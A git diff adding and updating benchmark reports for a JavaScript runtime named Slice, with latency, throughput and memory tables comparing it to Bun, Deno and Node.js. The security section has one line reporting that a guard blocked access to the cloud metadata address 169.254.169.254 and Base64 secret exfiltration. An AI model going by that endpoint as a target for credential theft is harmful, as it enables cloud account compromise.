"sliceSrcAvgMs": 27.382, + "sliceWarmMs": 1.013, + "prevSliceCasAvgMs": 16.742, + "bunAvgMs": 35.691, + "denoAvgMs": 52.659, + "nodeAvgMs": 83.756 + }, + { + "num": 33, + "code": "FW-04", + "id": "frameworks/04-sveltekit-edge-ssr", + "label": "`FW-04: frameworks/04-sveltekit-edge-ssr` (`@sveltejs/kit@3.1.1` + `svelte@5.57.3` + `devalue@6.0.3`)", + "category": "frameworks", + "flagship": true, + "sliceCasMinMs": 31.828, + "sliceCasAvgMs": 33.504, + "sliceBinMinMs": 32.979, + "sliceBinAvgMs": 35.475, + "sliceSrcAvgMs": 162.682, + "sliceWarmMs": 14.704, + "prevSliceCasAvgMs": 34.372, + "bunAvgMs": 51.401, + "denoAvgMs": 74.88, + "nodeAvgMs": 113.299 + }, + { + "num": 27, + "code": "CS-01", + "id": "case_studies/01-tot-autonomous-sre-agent", + "label": "`CS-01: case_studies/01-tot-autonomous-sre-agent` (20 ToT Sandboxes)", + "category": "case_studies", + "flagship": true, + "sliceCasMinMs": 31.815, + "sliceCasAvgMs": 33.655, + "sliceBinMinMs": 32.213, + "sliceBinAvgMs": 36.944, + "sliceSrcAvgMs": 76.967, + "sliceWarmMs": 13.077, + "prevSliceCasAvgMs": 34.837, + "bunAvgMs": 27.983, + "denoAvgMs": 72.009, + "nodeAvgMs": 88.021 + }, + { + "num": 28, + "code": "CS-02", + "id": "case_studies/02-mcp-code-mode-orchestrator", + "label": "`CS-02: case_studies/02-mcp-code-mode-orchestrator` (`-98.4%` Tokens)", + "category": "case_studies", + "flagship": false, + "sliceCasMinMs": 17.846, + "sliceCasAvgMs": 19.384, + "sliceBinMinMs": 18.465, + "sliceBinAvgMs": 19.431, + "sliceSrcAvgMs": 36.858, + "sliceWarmMs": 3.349, + "prevSliceCasAvgMs": 19.49, + "bunAvgMs": 16.144, + "denoAvgMs": 43.412, + "nodeAvgMs": 68.456 + }, + { + "num": 29, + "code": "CS-03", + "id": "case_studies/03-multi-tenant-saas-plugin-mesh", + "label": "`CS-03: case_studies/03-multi-tenant-saas-plugin-mesh` (12 Tenants + Hot-Swap)", + "category": "case_studies", + "flagship": false, + "sliceCasMinMs": 12.804, + "sliceCasAvgMs": 13.717, + "sliceBinMinMs": 13.217, + "sliceBinAvgMs": 14.502, + "sliceSrcAvgMs": 43.612, + "sliceWarmMs": 5.76, + "prevSliceCasAvgMs": 13.171, + "bunAvgMs": 16.713, + "denoAvgMs": 48.065, + "nodeAvgMs": 85.559 + }, + { + "num": 30, + "code": "CS-04", + "id": "case_studies/04-wasm-zero-trust-cdr-pipeline", + "label": "`CS-04: case_studies/04-wasm-zero-trust-cdr-pipeline` (Wasm SimHash CDR)", + "category": "case_studies", + "flagship": false, + "sliceCasMinMs": 19.193, + "sliceCasAvgMs": 19.798, + "sliceBinMinMs": 19.694, + "sliceBinAvgMs": 20.942, + "sliceSrcAvgMs": 42.429, + "sliceWarmMs": 1.419, + "prevSliceCasAvgMs": 20.235, + "bunAvgMs": 18.914, + "denoAvgMs": 44.462, + "nodeAvgMs": 68.689 + }, + { + "num": 31, + "code": "CS-05", + "id": "case_studies/05-time-travel-chaos-fuzzer-payments", + "label": "`CS-05: case_studies/05-time-travel-chaos-fuzzer-payments` (48 Payment Sagas)", + "category": "case_studies", + "flagship": true, + "sliceCasMinMs": 16.418, + "sliceCasAvgMs": 17.561, + "sliceBinMinMs": 16.92, + "sliceBinAvgMs": 18.123, + "sliceSrcAvgMs": 51.023, + "sliceWarmMs": 8.515, + "prevSliceCasAvgMs": 18.139, + "bunAvgMs": 20.039, + "denoAvgMs": 63.785, + "nodeAvgMs": 82.764 + } + ], + "rss": [ + { + "id": "App 2: NPM semver+ms+ini", + "label": "App 2: NPM semver+ms+ini", + "sliceKb": 14328, + "bunKb": 30080, + "denoKb": 47056, + "nodeKb": 71580 + }, + { + "id": "App 6: Telemetry + Flatted", + "label": "App 6: Telemetry + Flatted", + "sliceKb": 14208, + "bunKb": 29952, + "denoKb": 50416, + "nodeKb": 73116 + }, + { + "id": "App 21: RFC 6455 WS + Sec", + "label": "App 21: RFC 6455 WS + Sec", + "sliceKb": 14464, + "bunKb": 31488, + "denoKb": 50876, + "nodeKb": 95744 + }, + { + "id": "App 22: Workers + Sockets", + "label": "App 22: Workers + Sockets", + "sliceKb": 22656, + "bunKb": 41064, + "denoKb": 63784, + "nodeKb": 92412 + }, + { + "id": "App 23: Pure-Rust WASM", + "label": "App 23: Pure-Rust WASM", + "sliceKb": 19200, + "bunKb": 30848, + "denoKb": 48536, + "nodeKb": 80360 + }, + { + "id": "FW 1: Hono v4 Microservice", + "label": "FW 1: Hono v4 Microservice", + "sliceKb": 15616, + "bunKb": 29068, + "denoKb": 49784, + "nodeKb": 89120 + }, + { + "id": "FW 2: itty-router + UnJS", + "label": "FW 2: itty-router + UnJS", + "sliceKb": 14720, + "bunKb": 32000, + "denoKb": 48508, + "nodeKb": 87564 + }, + { + "id": "App 24: WASM + SSR", + "label": "App 24: WASM + SSR", + "sliceKb": 14080, + "bunKb": 30720, + "denoKb": 48376, + "nodeKb": 81276 + }, + { + "id": "FW 3: Express node:http", + "label": "FW 3: Express node:http", + "sliceKb": 15744, + "bunKb": 33152, + "denoKb": 47220, + "nodeKb": 80396 + }, + { + "id": "01-tot-autonomous-sre-agent", + "label": "01-tot-autonomous-sre-agent", + "sliceKb": 21376, + "bunKb": 31360, + "denoKb": 53228, + "nodeKb": 85768 + }, + { + "id": "02-mcp-code-mode-orchestrator", + "label": "02-mcp-code-mode-orchestrator", + "sliceKb": 18304, + "bunKb": 28160, + "denoKb": 46804, + "nodeKb": 83076 + }, + { + "id": "03-multi-tenant-saas-plugin-mesh", + "label": "03-multi-tenant-saas-plugin-mesh", + "sliceKb": 15104, + "bunKb": 26468, + "denoKb": 50120, + "nodeKb": 88156 + }, + { + "id": "04-wasm-zero-trust-cdr-pipeline", + "label": "04-wasm-zero-trust-cdr-pipeline", + "sliceKb": 20480, + "bunKb": 31488, + "denoKb": 49896, + "nodeKb": 80264 + }, + { + "id": "05-time-travel-chaos-fuzzer-payments", + "label": "05-time-travel-chaos-fuzzer-payments", + "sliceKb": 15616, + "bunKb": 29184, + "denoKb": 49656, + "nodeKb": 81560 + }, + { + "id": "FW 4: SvelteKit 3 + Svelte 5", + "label": "FW 4: SvelteKit 3 + Svelte 5", + "sliceKb": 22272, + "bunKb": 41856, + "denoKb": 56380, + "nodeKb": 85796 + } + ] +} diff --git a/tests/reports/bench_v0.10.12_20261112_020639Z_4c5089a.md b/tests/reports/bench_v0.10.12_20261112_020639Z_4c5089a.md new file mode 100644 index 0000000..cc398c4 --- /dev/null +++ b/tests/reports/bench_v0.10.12_20261112_020639Z_4c5089a.md @@ -0,0 +1,113 @@ +# Slice (Nexus-JS) - Full 33-Workload & MicroVM Benchmark Report + +* **Slice Version:** `v0.10.12` (Commit `4c5089a`) +* **Generated Timestamp (UTC):** `2026-11-12T02:06:39Z` +* **Archive File:** [`tests/reports/bench_v0.10.12_20261112_020639Z_4c5089a.md`](./bench_v0.10.12_20261112_020639Z_4c5089a.md) +* **Canonical Latest Report:** [`tests/reports/latest.md`](./latest.md) +* **Environment:** `Linux x86_64 Docker (io_uring SQPOLL + WRPKRU)` +* **Compared Runtimes:** + * **Slice:** `v0.10.12` (Default `SLICEBC\x01` Precompiled Boa `CodeBlock` CAS + Monomorphic Inline Caching `get_fast` + Iterative ECMA-404 `JSON.parse`) + * **Bun:** `v1.4.4` (JavaScriptCore) + * **Deno:** `v2.9.8` (V8) + * **Node.js:** `v27.0.0-alpha.0.0.0` (V8 native TypeScript execution) + +--- + +## 1. Executive Summary + +Across all **33 real-world multi-file TypeScript applications, framework suites, and case studies**, Slice beats **Deno (`v2.9.8`)** on **33/33** workloads, beats **Node.js (`v27.0.0-alpha.0.0.0`)** on **33/33** workloads, beats **Bun (`v1.4.4`)** on **29/33** workloads in cold one-shot execution, and beats **all 3 runtimes on 33/33 workloads in `--warm` pooled isolate execution**. + +| Metric | Linux (`x86_64` Docker) | Windows (`x86_64` Host) | Comparison vs Runtimes & MicroVMs | +| :--- | :---: | :---: | :--- | +| **Single Isolate Cold-Start (Min / P50 / P99)** | **`0.94 us` / `1.24 us` / `2.10 us`** | **`1.40 us` / `1.60 us` / `2.30 us`** | **~120,000x faster than 125ms Firecracker VM** | +| **1,000-Tenant MicroVM Swarm (Boot + Exec)** | **`1.50 ms`** (`19.69 MB` RSS) | **`2.24 ms`** (`11.82 MB` RSS) | **> 10,000x faster than container/VM swarms** | +| **500-Module Monorepo Cold Boot (`0 stat()`)** | **`3.408 ms`** (`409.31 us` in-mem) | **`5.637 ms`** (`640.00 us` in-mem) | **20.6x faster than Node.js (`1,500+ stat()`)** | +| **10,000 Direct Kernel Ring I/O Completions** | **`0.02 ms`** | **`5.11 ms`** | **Zero worker-thread lock contention** | +| **5-Ring Security Containment Verification** | **`5 / 5 PASS`** | **`5 / 5 PASS`** | **OCap + SES + Fuel + SSRF/DLP + MPK** | + +--- + +## 2. `slice serve` Multi-Tenant HTTP/1.1 Keep-Alive Throughput (`16,000` Reqs, 8 Sockets x 8 Pipeline) + +| Server / Runtime | Throughput (`req/s`) | Avg Latency / Req | Total Time (`16k` Reqs) | Relative Speedup vs Runtimes | +| :--- | :---: | :---: | :---: | :--- | +| **`slice serve` (Tier-0 CAS, `--workers=8`)** | **`148,865 req/s`** | **`6.72 us/req`** | **`107.5 ms`** | **`1.54x` faster than `Bun.serve` / `2.60x` Node.js** | +| **`slice serve` (Tier-1 WinterTC, `--workers=8`)** | **`154,737 req/s`** | **`6.46 us/req`** | **`103.4 ms`** | **`1.60x` faster than `Bun.serve` / `2.71x` Node.js** | +| **`Deno.serve` (`v2.9.8`, V8, No Per-Req Sandbox)** | `100,758 req/s` | `9.92 us/req` | `158.8 ms` | `1.04x` vs Bun | +| **`Bun.serve` (`v1.4.4`, JSC, No Per-Req Sandbox)** | `96,712 req/s` | `10.34 us/req` | `165.4 ms` | `1.00x` (Baseline) | +| **`Node.js http.createServer` (`v27.0.0-alpha.0.0.0`, V8)** | `57,158 req/s` | `17.50 us/req` | `279.9 ms` | `0.59x` vs Bun | + +--- + +## 3. Full 33-Workload Latency Comparison (20 Runs Each, Linux `x86_64` Docker) + +| # | Workload (`tests/apps/`, `tests/frameworks/`, `tests/case_studies/`) | Slice Cold `.cas` (`SLICEBC\x01`) | Slice Standalone Bin (`SLICEBC\x01`) | Slice Warm (`--warm`) | Previous `.cas` (`Delta`) | Bun `v1.4.4` | Deno `v2.9.8` | Node.js `v27.0.0-alpha.0.0.0` | Slice Speedup vs Bun / Node.js | +| :- | :--- | :---: | :---: | :---: | :---: | :---: | :---: | :---: | :--- | +| **01** | `01-fintech-checkout` (Multi-File TS + SHA-256) | **`6.197 ms`** (`5.81 ms` Min) | **`6.734 ms`** | **`1.100 ms`** | `6.278 ms` (`-1.3%`) | `13.348 ms` | `35.658 ms` | `59.811 ms` | **`2.15x Bun` (`12.13x` Warm) / `9.65x Node`** | +| **02** | `02-npm-ecosystem-suite` (`semver` + `ms` + `ini`) | **`14.246 ms`** (`13.34 ms` Min) | **`14.914 ms`** | **`3.899 ms`** | `14.228 ms` (`0.1%`) | `20.988 ms` | `52.586 ms` | `69.870 ms` | **`1.47x Bun` (`5.38x` Warm) / `4.90x Node`** | +| **03** | `03-disk-io-log-pipeline` (10 JSONL Shards Disk I/O) | **`7.197 ms`** (`6.62 ms` Min) | **`7.838 ms`** | **`1.378 ms`** | `7.250 ms` (`-0.7%`) | `14.561 ms` | `44.015 ms` | `60.874 ms` | **`2.02x Bun` (`10.57x` Warm) / `8.46x Node`** | +| **04** | `04-edge-api-gateway` (`fast-querystring` + `ms`) | **`7.332 ms`** (`6.89 ms` Min) | **`7.986 ms`** | **`1.738 ms`** | `7.408 ms` (`-1.0%`) | `15.137 ms` | `47.146 ms` | `63.466 ms` | **`2.06x Bun` (`8.71x` Warm) / `8.66x Node`** | +| **05** | `05-jwt-oauth-session-guard` (`cookie` + `ms` + HMAC) | **`10.285 ms`** (`9.83 ms` Min) | **`10.877 ms`** | **`4.975 ms`** | `10.074 ms` (`2.1%`) | `14.983 ms` | `42.265 ms` | `62.265 ms` | **`1.46x Bun` (`3.01x` Warm) / `6.05x Node`** | +| **06** | `06-telemetry-metrics-pipeline` (`bytes` + `flatted` + WAL) | **`12.826 ms`** (`12.45 ms` Min) | **`13.394 ms`** | **`4.382 ms`** | `12.738 ms` (`0.7%`) | `16.890 ms` | `46.254 ms` | `63.436 ms` | **`1.32x Bun` (`3.85x` Warm) / `4.95x Node`** | +| **07** | `07-graphql-ast-validator` (`dlv` + `dset` + AST Cost) | **`10.054 ms`** (`8.62 ms` Min) | **`9.409 ms`** | **`3.865 ms`** | `8.937 ms` (`12.5%`) | `13.266 ms` | `40.911 ms` | `59.861 ms` | **`1.41x Bun` (`3.43x` Warm) / `6.36x Node`** | +| **08** | `08-event-driven-state-journal` (`mitt` + `ms` + JSONL Replay) | **`11.443 ms`** (`10.81 ms` Min) | **`12.012 ms`** | **`4.770 ms`** | `11.229 ms` (`1.9%`) | `16.013 ms` | `45.838 ms` | `63.833 ms` | **`1.40x Bun` (`3.36x` Warm) / `5.58x Node`** | +| **09** | `09-wintertc-web-router` (`Request` + `Response` + `URL`, 80 reqs) | **`15.519 ms`** (`14.79 ms` Min) | **`16.066 ms`** | **`9.479 ms`** | `14.771 ms` (`5.1%`) | `14.539 ms` | `48.802 ms` | `91.771 ms` | **`1.53x Bun Warm` / `5.91x Node`** | +| **10** | `10-fullstack-bff-microservice` (`cookie` + `dlv` + `ms` + `ETag`, 60 reqs) | **`13.388 ms`** (`12.75 ms` Min) | **`14.657 ms`** | **`6.545 ms`** | `12.802 ms` (`4.6%`) | `14.571 ms` | `51.098 ms` | `89.527 ms` | **`1.09x Bun` (`2.23x` Warm) / `6.69x Node`** | +| **11** | `11-static-asset-cdn-edge` (`bytes` + `ms` + `ETag` `304`, 80 reqs) | **`10.930 ms`** (`10.07 ms` Min) | **`11.212 ms`** | **`3.999 ms`** | `10.042 ms` (`8.8%`) | `13.501 ms` | `48.508 ms` | `91.330 ms` | **`1.24x Bun` (`3.38x` Warm) / `8.36x Node`** | +| **12** | `12-ai-sse-token-streamer` (`mitt` + `ms` + SSE + DLP, 320 frames) | **`15.296 ms`** (`14.79 ms` Min) | **`16.165 ms`** | **`6.942 ms`** | `15.593 ms` (`-1.9%`) | `15.334 ms` | `48.041 ms` | `89.299 ms` | **`1.00x Bun` (`2.21x` Warm) / `5.84x Node`** | +| **13** | `13-webhook-orchestrator-ssrf` (`fast-querystring` + `ms` + Live `fetch`) | **`15.922 ms`** (`14.92 ms` Min) | **`16.213 ms`** | **`7.103 ms`** | `15.199 ms` (`4.8%`) | `19.082 ms` | `51.390 ms` | `112.929 ms` | **`1.20x Bun` (`2.69x` Warm) / `7.09x Node`** | +| **14** | `14-federated-api-mesh-dlp` (`bytes` + `dlv` + `dset` + Live `fetch`) | **`15.601 ms`** (`15.01 ms` Min) | **`16.721 ms`** | **`7.079 ms`** | `15.828 ms` (`-1.4%`) | `20.766 ms` | `51.558 ms` | `107.861 ms` | **`1.33x Bun` (`2.93x` Warm) / `6.91x Node`** | +| **15** | `15-time-travel-test-suite` (`semver` + `ms` + `dlv` + `dset` + 24 Rollbacks) | **`14.828 ms`** (`14.33 ms` Min) | **`16.060 ms`** | **`4.894 ms`** | `15.273 ms` (`-2.9%`) | `24.396 ms` | `68.179 ms` | `82.991 ms` | **`1.65x Bun` (`4.98x` Warm) / `5.60x Node`** | +| **16** | `16-dotenv-dlp-config-vault` (`ini` + `cookie` + `bytes` + `.env` Auto-DLP) | **`7.737 ms`** (`7.22 ms` Min) | **`8.257 ms`** | **`1.255 ms`** | `7.598 ms` (`1.8%`) | `14.873 ms` | `45.224 ms` | `65.018 ms` | **`1.92x Bun` (`11.85x` Warm) / `8.40x Node`** | +| **17** | `17-zero-trust-redirect-keepalive-mesh` (Keep-Alive/307/SSRF/DLP) | **`17.608 ms`** (`16.80 ms` Min) | **`18.123 ms`** | **`7.828 ms`** | `17.333 ms` (`1.6%`) | `21.856 ms` | `54.487 ms` | `113.958 ms` | **`1.24x Bun` (`2.79x` Warm) / `6.47x Node`** | +| **18** | `18-async-event-loop-fanout-scheduler` (Timer Wheel/`Promise.all`/`AbortSignal`) | **`29.524 ms`** (`28.52 ms` Min) | **`31.164 ms`** | **`17.348 ms`** | `29.326 ms` (`0.7%`) | `32.481 ms` | `70.418 ms` | `80.512 ms` | **`1.10x Bun` (`1.87x` Warm) / `2.73x Node`** | +| **19** | `19-wintertc-webcrypto-streams-edge` (WebCrypto/Streams/FormData/Clone) | **`8.378 ms`** (`7.73 ms` Min) | **`8.841 ms`** | **`1.322 ms`** | `8.118 ms` (`3.2%`) | `14.097 ms` | `49.351 ms` | `87.562 ms` | **`1.68x Bun` (`10.66x` Warm) / `10.45x Node`** | +| **20** | `20-node-compat-and-edge-router` (`Uint8Array` `Buffer`/Node Core/AST Bundler) | **`10.830 ms`** (`10.39 ms` Min) | **`11.733 ms`** | **`0.484 ms`** | `11.261 ms` (`-3.8%`) | `22.621 ms` | `53.734 ms` | `73.692 ms` | **`2.09x Bun` (`46.74x` Warm) / `6.80x Node`** | +| **21** | `21-websocket-realtime-and-security-guard` (RFC 6455 `WebSocket` + 5-Ring Guard) | **`11.083 ms`** (`10.45 ms` Min) | **`12.066 ms`** | **`2.333 ms`** | `10.714 ms` (`3.4%`) | `21.350 ms` | `53.525 ms` | `120.536 ms` | **`1.93x Bun` (`9.15x` Warm) / `10.88x Node`** | +| **22** | `22-worker-threads-and-raw-sockets` (3 Worker Threads + TCP/UDP + 5-Ring Sec) | **`21.431 ms`** (`20.09 ms` Min) | **`22.212 ms`** | **`1.737 ms`** | `20.988 ms` (`2.1%`) | `56.813 ms` | `115.280 ms` | `106.594 ms` | **`2.65x Bun` (`32.71x` Warm) / `4.97x Node`** | +| **23** | `23-wasm-crypto-and-simd-kernel` (Pure-Rust `WebAssembly` + 5-Ring WASM Sec) | **`15.455 ms`** (`14.77 ms` Min) | **`16.445 ms`** | **`1.856 ms`** | `15.548 ms` (`-0.6%`) | `21.122 ms` | `42.013 ms` | `59.800 ms` | **`1.37x Bun` (`11.38x` Warm) / `3.87x Node`** | +| **24** | `24-tsx-ssr-and-wasm-edge-pipeline` (`WebAssembly` SLA Scorer + SSR Pipeline) | **`8.681 ms`** (`8.11 ms` Min) | **`9.560 ms`** | **`1.730 ms`** | `8.719 ms` (`-0.4%`) | `18.430 ms` | `44.119 ms` | `67.854 ms` | **`2.12x Bun` (`10.65x` Warm) / `7.82x Node`** | +| **FW-01** | `FW-01: frameworks/01-hono-edge-microservice` (`hono@4.6.20` + `hono/cookie` + `ms`) | **`16.171 ms`** (`14.99 ms` Min) | **`15.851 ms`** | **`5.590 ms`** | `14.653 ms` (`10.4%`) | `19.635 ms` | `53.182 ms` | `96.148 ms` | **`1.24x Bun` (`3.51x` Warm) / `6.07x Node`** | +| **FW-02** | `FW-02: frameworks/02-itty-router-unjs-nitro-stack` (`itty-router` + UnJS) | **`17.377 ms`** (`16.62 ms` Min) | **`18.091 ms`** | **`8.900 ms`** | `17.364 ms` (`0.1%`) | `19.125 ms` | `46.091 ms` | `86.328 ms` | **`1.10x Bun` (`2.15x` Warm) / `4.97x Node`** | +| **FW-03** | `FW-03: frameworks/03-node-http-express-compat` (`node:http` + `node:stream` Express/Polka) | **`17.811 ms`** (`16.52 ms` Min) | **`18.809 ms`** | **`1.013 ms`** | `16.742 ms` (`6.4%`) | `35.691 ms` | `52.659 ms` | `83.756 ms` | **`2.00x Bun` (`35.23x` Warm) / `4.70x Node`** | +| **FW-04** | `FW-04: frameworks/04-sveltekit-edge-ssr` (`@sveltejs/kit@3.1.1` + `svelte@5.57.3` + `devalue@6.0.3`) | **`33.504 ms`** (`31.83 ms` Min) | **`35.475 ms`** | **`14.704 ms`** | `34.372 ms` (`-2.5%`) | `51.401 ms` | `74.880 ms` | `113.299 ms` | **`1.53x Bun` (`3.50x` Warm) / `3.38x Node`** | +| **CS-01** | `CS-01: case_studies/01-tot-autonomous-sre-agent` (20 ToT Sandboxes) | **`33.655 ms`** (`31.82 ms` Min) | **`36.944 ms`** | **`13.077 ms`** | `34.837 ms` (`-3.4%`) | `27.983 ms` | `72.009 ms` | `88.021 ms` | **`2.14x Bun Warm` / `2.62x Node`** | +| **CS-02** | `CS-02: case_studies/02-mcp-code-mode-orchestrator` (`-98.4%` Tokens) | **`19.384 ms`** (`17.85 ms` Min) | **`19.431 ms`** | **`3.349 ms`** | `19.490 ms` (`-0.5%`) | `16.144 ms` | `43.412 ms` | `68.456 ms` | **`4.82x Bun Warm` / `3.53x Node`** | +| **CS-03** | `CS-03: case_studies/03-multi-tenant-saas-plugin-mesh` (12 Tenants + Hot-Swap) | **`13.717 ms`** (`12.80 ms` Min) | **`14.502 ms`** | **`5.760 ms`** | `13.171 ms` (`4.1%`) | `16.713 ms` | `48.065 ms` | `85.559 ms` | **`1.22x Bun` (`2.90x` Warm) / `6.24x Node`** | +| **CS-04** | `CS-04: case_studies/04-wasm-zero-trust-cdr-pipeline` (Wasm SimHash CDR) | **`19.798 ms`** (`19.19 ms` Min) | **`20.942 ms`** | **`1.419 ms`** | `20.235 ms` (`-2.2%`) | `18.914 ms` | `44.462 ms` | `68.689 ms` | **`13.33x Bun Warm` / `3.47x Node`** | +| **CS-05** | `CS-05: case_studies/05-time-travel-chaos-fuzzer-payments` (48 Payment Sagas) | **`17.561 ms`** (`16.42 ms` Min) | **`18.123 ms`** | **`8.515 ms`** | `18.139 ms` (`-3.2%`) | `20.039 ms` | `63.785 ms` | `82.764 ms` | **`1.14x Bun` (`2.35x` Warm) / `4.71x Node`** | + +--- + +## 4. Peak Process Memory Footprint (`Max RSS` via `/usr/bin/time -v`) + +| Workload | Slice (`SLICEBC\x01` Default) | Bun (`v1.4.4`) | Deno (`v2.9.8`) | Node.js (`v27.0.0-alpha.0.0.0`) | Slice Memory Advantage | +| :--- | :---: | :---: | :---: | :---: | :--- | +| **App 2: NPM semver+ms+ini** | **14,328 KB (13.99 MB)** | 30,080 KB (29.38 MB) | 47,056 KB (45.95 MB) | 71,580 KB (69.90 MB) | **5.00x less than Node / 2.10x less than Bun** | +| **App 6: Telemetry + Flatted** | **14,208 KB (13.88 MB)** | 29,952 KB (29.25 MB) | 50,416 KB (49.23 MB) | 73,116 KB (71.40 MB) | **5.15x less than Node / 2.11x less than Bun** | +| **App 21: RFC 6455 WS + Sec** | **14,464 KB (14.13 MB)** | 31,488 KB (30.75 MB) | 50,876 KB (49.68 MB) | 95,744 KB (93.50 MB) | **6.62x less than Node / 2.18x less than Bun** | +| **App 22: Workers + Sockets** | **22,656 KB (22.13 MB)** | 41,064 KB (40.10 MB) | 63,784 KB (62.29 MB) | 92,412 KB (90.25 MB) | **4.08x less than Node / 1.81x less than Bun** | +| **App 23: Pure-Rust WASM** | **19,200 KB (18.75 MB)** | 30,848 KB (30.13 MB) | 48,536 KB (47.40 MB) | 80,360 KB (78.48 MB) | **4.19x less than Node / 1.61x less than Bun** | +| **FW 1: Hono v4 Microservice** | **15,616 KB (15.25 MB)** | 29,068 KB (28.39 MB) | 49,784 KB (48.62 MB) | 89,120 KB (87.03 MB) | **5.71x less than Node / 1.86x less than Bun** | +| **FW 2: itty-router + UnJS** | **14,720 KB (14.38 MB)** | 32,000 KB (31.25 MB) | 48,508 KB (47.37 MB) | 87,564 KB (85.51 MB) | **5.95x less than Node / 2.17x less than Bun** | +| **App 24: WASM + SSR** | **14,080 KB (13.75 MB)** | 30,720 KB (30.00 MB) | 48,376 KB (47.24 MB) | 81,276 KB (79.37 MB) | **5.77x less than Node / 2.18x less than Bun** | +| **FW 3: Express node:http** | **15,744 KB (15.38 MB)** | 33,152 KB (32.38 MB) | 47,220 KB (46.11 MB) | 80,396 KB (78.51 MB) | **5.11x less than Node / 2.11x less than Bun** | +| **01-tot-autonomous-sre-agent** | **21,376 KB (20.88 MB)** | 31,360 KB (30.63 MB) | 53,228 KB (51.98 MB) | 85,768 KB (83.76 MB) | **4.01x less than Node / 1.47x less than Bun** | +| **02-mcp-code-mode-orchestrator** | **18,304 KB (17.88 MB)** | 28,160 KB (27.50 MB) | 46,804 KB (45.71 MB) | 83,076 KB (81.13 MB) | **4.54x less than Node / 1.54x less than Bun** | +| **03-multi-tenant-saas-plugin-mesh** | **15,104 KB (14.75 MB)** | 26,468 KB (25.85 MB) | 50,120 KB (48.95 MB) | 88,156 KB (86.09 MB) | **5.84x less than Node / 1.75x less than Bun** | +| **04-wasm-zero-trust-cdr-pipeline** | **20,480 KB (20.00 MB)** | 31,488 KB (30.75 MB) | 49,896 KB (48.73 MB) | 80,264 KB (78.38 MB) | **3.92x less than Node / 1.54x less than Bun** | +| **05-time-travel-chaos-fuzzer-payments** | **15,616 KB (15.25 MB)** | 29,184 KB (28.50 MB) | 49,656 KB (48.49 MB) | 81,560 KB (79.65 MB) | **5.22x less than Node / 1.87x less than Bun** | +| **FW 4: SvelteKit 3 + Svelte 5** | **22,272 KB (21.75 MB)** | 41,856 KB (40.88 MB) | 56,380 KB (55.06 MB) | 85,796 KB (83.79 MB) | **3.85x less than Node / 1.88x less than Bun** | + +--- + +## 5. Multi-Tenant Edge KV, AI Agent Checkpoints & 5-Ring Security Telemetry + +| Subsystem / Benchmark | Measured Telemetry | Status | +| :--- | :--- | :---: | +| **Sharded `Slice.kv` (`1,001` Get/Set/Incr Ops in Isolate)** | **`572.39 us`** total (`--warm`, `8,431 B` memory cage) | `PASS` | +| **Multi-Tenant `--tenant-dir` Zero-Downtime Hot-Swap** | Live atomic replacement of `tenant-alpha.cas` (`v1 -> v2-hot-swapped`) with isolated `Slice.kv` state | `PASS` | +| **Deterministic Time-Travel Replay (`--deterministic=20261019`)** | 100% bit-for-bit identical PRNG (`Math.random`) & virtual clock (`Date.now`, `performance.now`) | `PASS` | +| **Tree-of-Thought AI Agent (`Slice.checkpoint` + 3 `evalSandbox` + `restore`)** | **`42.56 us`** total (`1.80 us` child sandbox) | `PASS` | +| **Cloud Metadata SSRF (`169.254.169.254`) & Base64 Egress DLP Guard** | `SSRF_METADATA_BLOCKED` & `EGRESS_SECRET_LEAK_BLOCKED` deterministically trapped | `PASS` | +| **Built-In Model Context Protocol Server (`slice mcp --smoke-test`)** | JSON-RPC 2.0 `initialize`, `tools/list`, `tools/call` verified over `stdio` | `PASS` | diff --git a/tests/reports/latest.json b/tests/reports/latest.json index e2f96cd..2f2d3b6 100644 --- a/tests/reports/latest.json +++ b/tests/reports/latest.json @@ -1,8 +1,8 @@ { "metadata": { "version": "0.10.12", - "commit": "dc31f74", - "timestampUtc": "2026-11-11T17:58:36Z", + "commit": "4c5089a", + "timestampUtc": "2026-11-12T02:06:39Z", "environment": "Linux x86_64 Docker (io_uring SQPOLL + WRPKRU)", "runtimes": { "slice": "v0.10.12", @@ -10,18 +10,18 @@ "deno": "v2.9.8", "node": "v27.0.0-alpha.0.0.0" }, - "archiveFile": "tests/reports/bench_v0.10.12_20261111_175836Z_dc31f74.md", + "archiveFile": "tests/reports/bench_v0.10.12_20261112_020639Z_4c5089a.md", "latestFile": "tests/reports/latest.md" }, "microvm": { "linux": { "coldMinUs": 0.94, - "coldP50Us": 1.02, - "coldP99Us": 4.27, - "swarm1000Ms": 1.74, - "swarm1000RssMb": 9.82, + "coldP50Us": 1.24, + "coldP99Us": 2.1, + "swarm1000Ms": 1.5, + "swarm1000RssMb": 19.69, "cas500ColdMs": 3.408, - "cas500MemUs": 467.08, + "cas500MemUs": 409.31, "ringIo10kMs": 0.02 }, "windows": { @@ -37,36 +37,36 @@ }, "httpKeepAlive": { "sliceTier0": { - "rps": 154794, - "avgUs": 6.46, - "totalMs": 103.4 + "rps": 148865, + "avgUs": 6.72, + "totalMs": 107.5 }, "sliceTier1": { - "rps": 147564, - "avgUs": 6.78, - "totalMs": 108.4 + "rps": 154737, + "avgUs": 6.46, + "totalMs": 103.4 }, "deno": { - "rps": 99082, - "avgUs": 10.09, - "totalMs": 161.5 + "rps": 100758, + "avgUs": 9.92, + "totalMs": 158.8 }, "bun": { - "rps": 100562, - "avgUs": 9.94, - "totalMs": 159.1 + "rps": 96712, + "avgUs": 10.34, + "totalMs": 165.4 }, "node": { - "rps": 56447, - "avgUs": 17.72, - "totalMs": 283.5 + "rps": 57158, + "avgUs": 17.5, + "totalMs": 279.9 } }, "primitives": { - "kv1001Us": 564.84, + "kv1001Us": 572.39, "kvMemBytes": 8431, - "tot3SandboxesUs": 74.64, - "totSingleSandboxUs": 3.496 + "tot3SandboxesUs": 42.56, + "totSingleSandboxUs": 1.799 }, "workloads": [ { @@ -76,16 +76,16 @@ "label": "`01-fintech-checkout` (Multi-File TS + SHA-256)", "category": "core_edge_crypto", "flagship": true, - "sliceCasMinMs": 5.883, - "sliceCasAvgMs": 6.278, - "sliceBinMinMs": 6.165, - "sliceBinAvgMs": 6.621, - "sliceSrcAvgMs": 16.378, - "sliceWarmMs": 1.05, - "prevSliceCasAvgMs": 6.698, - "bunAvgMs": 13.377, - "denoAvgMs": 35.217, - "nodeAvgMs": 58.453 + "sliceCasMinMs": 5.813, + "sliceCasAvgMs": 6.197, + "sliceBinMinMs": 6.308, + "sliceBinAvgMs": 6.734, + "sliceSrcAvgMs": 17.054, + "sliceWarmMs": 1.1, + "prevSliceCasAvgMs": 6.278, + "bunAvgMs": 13.348, + "denoAvgMs": 35.658, + "nodeAvgMs": 59.811 }, { "num": 2, @@ -94,16 +94,16 @@ "label": "`02-npm-ecosystem-suite` 